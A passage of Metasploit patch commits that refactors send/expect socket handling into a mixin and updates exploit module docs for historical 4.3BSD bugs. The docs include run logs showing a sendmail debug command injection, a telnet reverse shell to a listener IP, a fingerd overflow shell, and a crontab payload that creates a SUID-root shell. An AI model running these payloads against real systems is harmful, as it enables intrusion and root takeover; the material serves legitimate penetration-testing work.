vprint_status("Expecting: #{pattern.inspect}") - sock.expect(pattern) do |pat| - return unless pat - vprint_good("Received: #{pat.first}") - end + if line + print_status("Sending: #{line}") + sock.put("#{line}\r\n") + end + + next unless pattern + + vprint_status("Expecting: #{pattern.inspect}") + sock.expect(pattern, datastore['ExpectTimeout']) do |res| + unless res + fail_with(Failure::TimeoutExpired, + "Pattern not found: #{pattern.inspect}") end + + vprint_good("Received: #{res.first}") end end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) - rescue Timeout::Error - fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out') ensure disconnect end From e053ed7a1e6a2631e34b3cb4390058d4a48d90e7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Wed, 5 Feb 2020 19:13:19 -0600 Subject: [PATCH 08/11] Add Msf::Exploit::Expect mixin and refactor again --- lib/msf/core/exploit/expect.rb | 41 +++++++++++++++++++ lib/msf/core/exploit/mixins.rb | 1 + .../local/exim4_deliver_message_priv_esc.rb | 2 - .../unix/smtp/morris_sendmail_debug.rb | 28 +++++-------- .../unix/smtp/opensmtpd_mail_from_rce.rb | 28 +++++-------- 5 files changed, 62 insertions(+), 38 deletions(-) create mode 100644 lib/msf/core/exploit/expect.rb diff --git a/lib/msf/core/exploit/expect.rb b/lib/msf/core/exploit/expect.rb new file mode 100644 index 0000000000..6a755e08ec --- /dev/null +++ b/lib/msf/core/exploit/expect.rb @@ -0,0 +1,41 @@ +# -*- coding: binary -*- + +# +# XXX: This is a VERY ROUGH mixin for Expect-style interaction +# + +require 'expect' + +module Msf::Exploit::Expect + + # Send a line and expect a pattern + # + # @param line [String] Line to send + # @param pattern [Regexp] Pattern to expect + # @param sock [Socket] Socket to send/expect on + # @param timeout [Float] Seconds to expect pattern + # @param newline [String] Newline character(s) + # @return [void] + def send_expect(line, pattern, sock:, timeout: 3.5, newline: "\n") + unless sock.respond_to?(:put) && sock.respond_to?(:expect) + raise ArgumentError, 'sock does not appear to be a socket' + end + + if line + print_status("Sending: #{line}") + sock.put("#{line}#{newline}") + end + + return unless pattern + + vprint_status("Expecting: #{pattern.inspect}") + sock.expect(pattern, timeout) do |res| + unless res + raise Timeout::Error, "Pattern not found: #{pattern.inspect}" + end + + vprint_good("Received: #{res.first}") + end + end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 7a6bfffab7..ce0061000c 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -8,6 +8,7 @@ require 'msf/core/exploit/check_module' require 'msf/core/exploit/brute' require 'msf/core/exploit/brutetargets' require 'msf/core/exploit/browser_autopwn' +require 'msf/core/exploit/expect' # Payload require 'msf/core/exploit/egghunter' diff --git a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb index 698770d753..521d15c7e2 100644 --- a/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb +++ b/modules/exploits/linux/local/exim4_deliver_message_priv_esc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'expect' - class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking diff --git a/modules/exploits/unix/smtp/morris_sendmail_debug.rb b/modules/exploits/unix/smtp/morris_sendmail_debug.rb index dd5d8ab1f8..3b52055a09 100644 --- a/modules/exploits/unix/smtp/morris_sendmail_debug.rb +++ b/modules/exploits/unix/smtp/morris_sendmail_debug.rb @@ -3,14 +3,13 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'expect' - class MetasploitModule < Msf::Exploit::Remote # cmd/unix/reverse spams the session with Telnet codes on EOF Rank = AverageRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, @@ -121,25 +120,18 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Enabling debug mode and sending exploit') sploit.each do |line, pattern| - if line - print_status("Sending: #{line}") - sock.put("#{line}\r\n") - end - - next unless pattern - - vprint_status("Expecting: #{pattern.inspect}") - sock.expect(pattern, datastore['ExpectTimeout']) do |res| - unless res - fail_with(Failure::TimeoutExpired, - "Pattern not found: #{pattern.inspect}") - end - - vprint_good("Received: #{res.first}") - end + send_expect( + line, + pattern, + sock: sock, + timeout: datastore['ExpectTimeout'], + newline: "\r\n" + ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 6cc995eb89..3d3517ef43 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -3,13 +3,12 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'expect' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Expect def initialize(info = {}) super(update_info(info, @@ -110,25 +109,18 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Saying hello and sending exploit') sploit.each do |line, pattern| - if line - print_status("Sending: #{line}") - sock.put("#{line}\r\n") - end - - next unless pattern - - vprint_status("Expecting: #{pattern.inspect}") - sock.expect(pattern, datastore['ExpectTimeout']) do |res| - unless res - fail_with(Failure::TimeoutExpired, - "Pattern not found: #{pattern.inspect}") - end - - vprint_good("Received: #{res.first}") - end + send_expect( + line, + pattern, + sock: sock, + timeout: datastore['ExpectTimeout'], + newline: "\r\n" + ) end rescue Rex::ConnectionError => e fail_with(Failure::Unreachable, e.message) + rescue Timeout::Error => e + fail_with(Failure::TimeoutExpired, e.message) ensure disconnect end From 62c98710ad7fd71da72239042f19ad34138d9591 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 6 Feb 2020 11:03:00 -0600 Subject: [PATCH 09/11] Reword vulnerable commit range --- .../modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md | 2 +- modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md index a9767d1817..7573b0d0f9 100644 --- a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md +++ b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md @@ -21,7 +21,7 @@ SMTP interaction with OpenSMTPD to execute code as the root user. ``` Id Name -- ---- -0 OpenSMTPD commit >= a8e222352f +0 OpenSMTPD >= commit a8e222352f ``` ## Verification Steps diff --git a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb index 3d3517ef43..d3b196b9fa 100644 --- a/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb +++ b/modules/exploits/unix/smtp/opensmtpd_mail_from_rce.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ - ['OpenSMTPD commit >= a8e222352f', + ['OpenSMTPD >= commit a8e222352f', 'MyBadChars' => "!\#$%&'*?`{|}~\r\n".chars ] ], From 3282ec5c55760b4542a8d53673dea5604e6f53b1 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 6 Feb 2020 15:03:28 -0600 Subject: [PATCH 10/11] Change vprint_status to print_status in mixin --- lib/msf/core/exploit/expect.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/expect.rb b/lib/msf/core/exploit/expect.rb index 6a755e08ec..a367a53ed8 100644 --- a/lib/msf/core/exploit/expect.rb +++ b/lib/msf/core/exploit/expect.rb @@ -28,7 +28,7 @@ module Msf::Exploit::Expect return unless pattern - vprint_status("Expecting: #{pattern.inspect}") + print_status("Expecting: #{pattern.inspect}") sock.expect(pattern, timeout) do |res| unless res raise Timeout::Error, "Pattern not found: #{pattern.inspect}" From 8c07e1791251e326eee8889ae590f93eb13cbcd7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Thu, 6 Feb 2020 15:01:58 -0600 Subject: [PATCH 11/11] Update module docs --- .../exploit/bsd/finger/morris_fingerd_bof.md | 45 +++++++------- .../exploit/unix/local/emacs_movemail.md | 46 +++++++++----- .../unix/smtp/morris_sendmail_debug.md | 60 +++++++++++-------- .../unix/smtp/opensmtpd_mail_from_rce.md | 3 +- 4 files changed, 92 insertions(+), 62 deletions(-) diff --git a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md index ea315591bc..862ea4b410 100644 --- a/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md +++ b/documentation/modules/exploit/bsd/finger/morris_fingerd_bof.md @@ -1,11 +1,13 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits a stack buffer overflow in `fingerd` on 4.3BSD. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -15,7 +17,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -23,6 +25,10 @@ Id Name 0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85 ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **RPORT** @@ -35,43 +41,40 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. Set this to a BSD VAX payload. Currently, only `bsd/vax/shell_reverse_tcp` is supported. -## Usage +## Scenarios + +### `fingerd` 5.1 on 4.3BSD ``` -msf5 exploit(bsd/finger/morris_fingerd_bof) > options +msf5 > use exploit/bsd/finger/morris_fingerd_bof +msf5 exploit(bsd/finger/morris_fingerd_bof) > show missing Module options (exploit/bsd/finger/morris_fingerd_bof): Name Current Setting Required Description ---- --------------- -------- ----------- - RHOSTS 127.0.0.1 yes The target address range or CIDR identifier - RPORT 79 yes The target port (TCP) + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' Payload options (bsd/vax/shell_reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 192.168.1.2 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 @(#)fingerd.c 5.1 (Berkeley) 6/6/85 - + LHOST yes The listen address (an interface may be specified) +msf5 exploit(bsd/finger/morris_fingerd_bof) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 exploit(bsd/finger/morris_fingerd_bof) > set lhost 192.168.56.1 +lhost => 192.168.56.1 msf5 exploit(bsd/finger/morris_fingerd_bof) > run -[*] Started reverse TCP handler on 192.168.1.2:4444 +[*] Started reverse TCP handler on 192.168.56.1:4444 [*] 127.0.0.1:79 - Connecting to fingerd [*] 127.0.0.1:79 - Sending 533-byte buffer -[*] Command shell session 1 opened (192.168.1.2:4444 -> 192.168.1.2:51992) at 2018-09-25 10:14:15 -0500 +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58015) at 2020-02-06 15:45:33 -0600 -whoami -nobody +who am i +nobody tty?? Feb 6 13:45 cat /etc/motd 4.3 BSD UNIX #1: Fri Jun 6 19:55:29 PDT 1986 diff --git a/documentation/modules/exploit/unix/local/emacs_movemail.md b/documentation/modules/exploit/unix/local/emacs_movemail.md index dc90d2b968..d8d4d74a6e 100644 --- a/documentation/modules/exploit/unix/local/emacs_movemail.md +++ b/documentation/modules/exploit/unix/local/emacs_movemail.md @@ -1,11 +1,13 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits a SUID installation of the Emacs `movemail` utility to run a command as root by writing to 4.3BSD's `/usr/lib/crontab.local`. The vulnerability is documented in Cliff Stoll's book *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -15,7 +17,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -23,6 +25,10 @@ Id Name 0 /usr/lib/crontab.local ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **MOVEMAIL** @@ -35,15 +41,34 @@ If your payload is `cmd/unix/generic` (suggested default), set this to the command you want to run as root. The provided default will create a SUID-root shell at `/tmp/sh`. -## Usage +## Scenarios + +### 4.3BSD ``` +msf5 > use exploit/unix/local/emacs_movemail +msf5 exploit(unix/local/emacs_movemail) > show missing + +Module options (exploit/unix/local/emacs_movemail): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + SESSION yes The session to run this module on. + + +Payload options (cmd/unix/generic): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + +msf5 exploit(unix/local/emacs_movemail) > set session -1 +session => -1 msf5 exploit(unix/local/emacs_movemail) > run [*] Setting a sane $PATH: /bin:/usr/bin:/usr/ucb:/etc -[*] Current shell is /bin/sh +[-] Current shell is unknown [*] $PATH is /bin:/usr/bin:/usr/ucb:/etc -[+] SUID-root [redacted] found +[+] SUID-root /etc/movemail found [*] Preparing crontab with payload * * * * * root cp /bin/sh /tmp && chmod u+s /tmp/sh * * * * * root rm -f /usr/lib/crontab.local @@ -51,12 +76,5 @@ msf5 exploit(unix/local/emacs_movemail) > run [+] Writing crontab to /usr/lib/crontab.local [!] Please wait at least one minute for effect [*] Exploit completed, but no session was created. -msf5 exploit(unix/local/emacs_movemail) > sessions -1 -[*] Starting interaction with 1... - -ls -l /usr/lib/crontab.local /tmp/sh -/usr/lib/crontab.local not found --rwsr-xr-x 1 root 23552 Nov 22 15:17 /tmp/sh -/tmp/sh -c whoami -root +msf5 exploit(unix/local/emacs_movemail) > ``` diff --git a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md index dd4e16cc77..32e7b13b1d 100644 --- a/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md +++ b/documentation/modules/exploit/unix/smtp/morris_sendmail_debug.md @@ -1,4 +1,6 @@ -## Introduction +## Vulnerable Application + +### Description This module exploits `sendmail`'s well-known historical debug mode to escape to a shell and execute commands in the SMTP `RCPT TO` command. @@ -6,7 +8,7 @@ escape to a shell and execute commands in the SMTP `RCPT TO` command. This vulnerability was exploited by the Morris worm in 1988-11-02. Cliff Stoll reports on the worm in the epilogue of *The Cuckoo's Egg*. -## Setup +### Setup A Docker environment for 4.3BSD on VAX is available at . @@ -16,7 +18,7 @@ For manual setup, please follow the Computer History Wiki's Garvin's [guide](http://plover.net/~agarvin/4.3bsd-on-simh.html) if you're using [Quasijarus](http://gunkies.org/wiki/4.3_BSD_Quasijarus). -## Targets +### Targets ``` Id Name @@ -24,6 +26,10 @@ Id Name 0 @(#)version.c 5.51 (Berkeley) 5/2/86 ``` +## Verification Steps + +Follow [Setup](#setup) and [Scenarios](#scenarios). + ## Options **RPORT** @@ -36,59 +42,63 @@ port may be forwarded when NAT (SLiRP) is used in SIMH. Set this to a Unix command payload. Currently, only `cmd/unix/reverse` and `cmd/unix/generic` are supported. -## Usage +## Scenarios + +### `sendmail` 5.51 on 4.3BSD ``` -msf5 exploit(unix/smtp/morris_sendmail_debug) > options +msf5 > use exploit/unix/smtp/morris_sendmail_debug +msf5 exploit(unix/smtp/morris_sendmail_debug) > show missing Module options (exploit/unix/smtp/morris_sendmail_debug): Name Current Setting Required Description ---- --------------- -------- ----------- - RHOSTS 127.0.0.1 yes The target address range or CIDR identifier - RPORT 25 yes The target port (TCP) + RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' Payload options (cmd/unix/reverse): Name Current Setting Required Description ---- --------------- -------- ----------- - LHOST 192.168.1.5 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 @(#)version.c 5.51 (Berkeley) 5/2/86 - + LHOST yes The listen address (an interface may be specified) +msf5 exploit(unix/smtp/morris_sendmail_debug) > set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +msf5 exploit(unix/smtp/morris_sendmail_debug) > set lhost 192.168.56.1 +lhost => 192.168.56.1 msf5 exploit(unix/smtp/morris_sendmail_debug) > run -[*] Started reverse TCP double handler on 192.168.1.5:4444 +[*] Started reverse TCP double handler on 192.168.56.1:4444 [*] 127.0.0.1:25 - Connecting to sendmail [*] 127.0.0.1:25 - Enabling debug mode and sending exploit +[*] 127.0.0.1:25 - Expecting: /220.*Sendmail/ [*] 127.0.0.1:25 - Sending: DEBUG -[*] 127.0.0.1:25 - Sending: MAIL FROM: +[*] 127.0.0.1:25 - Expecting: /200 Debug set/ +[*] 127.0.0.1:25 - Sending: MAIL FROM:<3V900gQTSR70m6QPRYJnf3eoUIe6> +[*] 127.0.0.1:25 - Expecting: /250.*Sender ok/ [*] 127.0.0.1:25 - Sending: RCPT TO:<"| sed '1,/^$/d' | sh; exit 0"> +[*] 127.0.0.1:25 - Expecting: /250.*Recipient ok/ [*] 127.0.0.1:25 - Sending: DATA +[*] 127.0.0.1:25 - Expecting: /354 Enter mail.*itself/ [*] 127.0.0.1:25 - Sending: PATH=/bin:/usr/bin:/usr/ucb:/etc [*] 127.0.0.1:25 - Sending: export PATH -[*] 127.0.0.1:25 - Sending: sh -c '(sleep 4197|telnet 192.168.1.5 4444|while : ; do sh && break; done 2>&1|telnet 192.168.1.5 4444 >/dev/null 2>&1 &)' +[*] 127.0.0.1:25 - Sending: sh -c '(sleep 3935|telnet 192.168.56.1 4444|while : ; do sh && break; done 2>&1|telnet 192.168.56.1 4444 >/dev/null 2>&1 &)' [*] 127.0.0.1:25 - Sending: . +[*] 127.0.0.1:25 - Expecting: /250 Ok/ [*] 127.0.0.1:25 - Sending: QUIT +[*] 127.0.0.1:25 - Expecting: /221.*closing connection/ [*] Accepted the first client connection... [*] Accepted the second client connection... -[*] Command: echo zqhqKJD7trW0E0Lp; +[*] Command: echo ISj759F8jEik4HAW; [*] Writing to socket A [*] Writing to socket B [*] Reading from sockets... -[*] Reading from socket B -[*] B: "zqhqKJD7trW0E0Lp\r\n" +[*] Reading from socket A +[*] A: "sh: Connected: not found\r\nsh: Escape: not found\r\n" [*] Matching... -[*] A is input... -[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.5:64337) at 2018-10-20 14:08:03 -0500 +[*] B is input... +[*] Command shell session 1 opened (192.168.56.1:4444 -> 192.168.56.1:58037) at 2020-02-06 15:51:28 -0600 [!] 127.0.0.1:25 - Do NOT type `exit', or else you may lose further shells! [!] 127.0.0.1:25 - Hit ^C to abort the session instead, please and thank you diff --git a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md index 7573b0d0f9..120426979a 100644 --- a/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md +++ b/documentation/modules/exploit/unix/smtp/opensmtpd_mail_from_rce.md @@ -26,8 +26,7 @@ Id Name ## Verification Steps -Follow the steps in the [Setup](#setup) and [Scenarios](#scenarios) -sections. +Follow [Setup](#setup) and [Scenarios](#scenarios). ## Options